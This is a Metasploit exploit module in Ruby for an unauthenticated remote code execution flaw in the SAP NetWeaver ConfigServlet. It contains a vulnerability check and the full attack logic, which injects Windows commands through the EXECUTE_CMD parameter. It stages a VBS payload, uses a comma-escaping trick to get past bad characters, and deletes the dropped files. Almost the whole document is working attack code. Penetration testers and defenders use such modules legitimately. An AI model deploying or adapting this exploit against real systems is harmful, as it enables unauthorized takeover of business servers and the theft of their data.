139 lines
4.6 KiB
Ruby
139 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'SAP ConfigServlet Remote Code Execution',
|
|
'Description' => %q{
|
|
This module allows remote code execution via operating system commands through the
|
|
SAP ConfigServlet without any authentication. This module has been tested successfully
|
|
with SAP NetWeaver 7.00 and 7.01 on Windows Server 2008 R2.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'Dmitry Chastuhin', # Vulnerability discovery (based on the reference presentation)
|
|
'Andras Kabai' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
[ 'OSVDB', '92704'],
|
|
[ 'EDB', '24996'],
|
|
[ 'URL', 'http://erpscan.com/wp-content/uploads/2012/11/Breaking-SAP-Portal-HackerHalted-2012.pdf']
|
|
],
|
|
'DisclosureDate' => 'Nov 01 2012', # Based on the reference presentation
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows generic',
|
|
{
|
|
'Arch' => ARCH_X86
|
|
}
|
|
]
|
|
],
|
|
'CmdStagerFlavor' => 'vbs',
|
|
'DefaultTarget' => 0,
|
|
'Privileged' => false
|
|
))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(50000),
|
|
OptString.new('TARGETURI', [ true, 'Path to ConfigServlet', '/ctc/servlet'])
|
|
])
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptBool.new('DELETE_FILES', [ true, 'Delete the dropped files after exploitation', true ])
|
|
])
|
|
end
|
|
|
|
def check
|
|
uri = normalize_uri(target_uri.path, 'ConfigServlet')
|
|
begin
|
|
res = send_evil_request(uri, "whoami", 20)
|
|
rescue
|
|
vprint_error("An error has occurred while sending the malicious request")
|
|
return Exploit::CheckCode::Unknown
|
|
end
|
|
if !res
|
|
vprint_error("Connection timed out")
|
|
return Exploit::CheckCode::Unknown
|
|
elsif res.body.include?("Process created")
|
|
return Exploit::CheckCode::Vulnerable
|
|
else
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
end
|
|
|
|
def exploit
|
|
print_status("#{rhost}:#{rport} - Exploiting remote system")
|
|
uri = normalize_uri(target_uri.path, 'ConfigServlet')
|
|
|
|
execute_cmdstager( { :linemax => 1500, :nodelete => !datastore['DELETE_FILES'], :sap_configservlet_uri => uri })
|
|
end
|
|
|
|
def execute_command(cmd, opts)
|
|
commands = cmd.split(/&/)
|
|
commands.each do |command|
|
|
timeout = 20
|
|
if datastore['DELETE_FILES'] and command =~ /shell\.run \"(.*)\"/
|
|
register_file_for_cleanup($1)
|
|
end
|
|
if command.include?(".vbs") and command.include?(",")
|
|
# because the comma is bad character and the VBS stager contains commas it is necessary to "create" commas without directly using them
|
|
# using the following command line trick it is possible to echo commas into the right places
|
|
command.gsub!(",", "%i")
|
|
command = "cmd /c FOR /F \"usebackq tokens=2 delims=)\" %i IN (\`\"ping -n 1 127.0.0.1| findstr )\"\`) DO " + command
|
|
else
|
|
command = "cmd /c " + command
|
|
end
|
|
if command.include?("cscript")
|
|
# in case of bigger payloads the VBS stager could run for longer time as it needs to decode lot of data
|
|
# increaste timeout value when the VBS stager is called
|
|
timeout = 120
|
|
end
|
|
vprint_status("Attempting to execute: #{command}")
|
|
send_evil_request(opts[:sap_configservlet_uri], command, timeout)
|
|
end
|
|
end
|
|
|
|
def send_evil_request(uri, cmd, timeout)
|
|
begin
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => uri,
|
|
'method' => 'GET',
|
|
'query' => 'param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=' + Rex::Text.uri_encode(cmd)
|
|
}, timeout)
|
|
|
|
if !res
|
|
fail_with(Failure::Unknown, "#{rhost}:#{rport} - Exploit failed")
|
|
end
|
|
|
|
if res.code != 200
|
|
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
|
|
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} - Exploit failed")
|
|
end
|
|
rescue ::Rex::ConnectionError
|
|
fail_with(Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the server")
|
|
end
|
|
|
|
if not res.body.include?("Process created")
|
|
vprint_error("#{rhost}:#{rport} - Output: #{res.body}")
|
|
fail_with(Failure::PayloadFailed, "#{rhost}:#{rport} - Exploit failed")
|
|
end
|
|
return res
|
|
end
|
|
end
|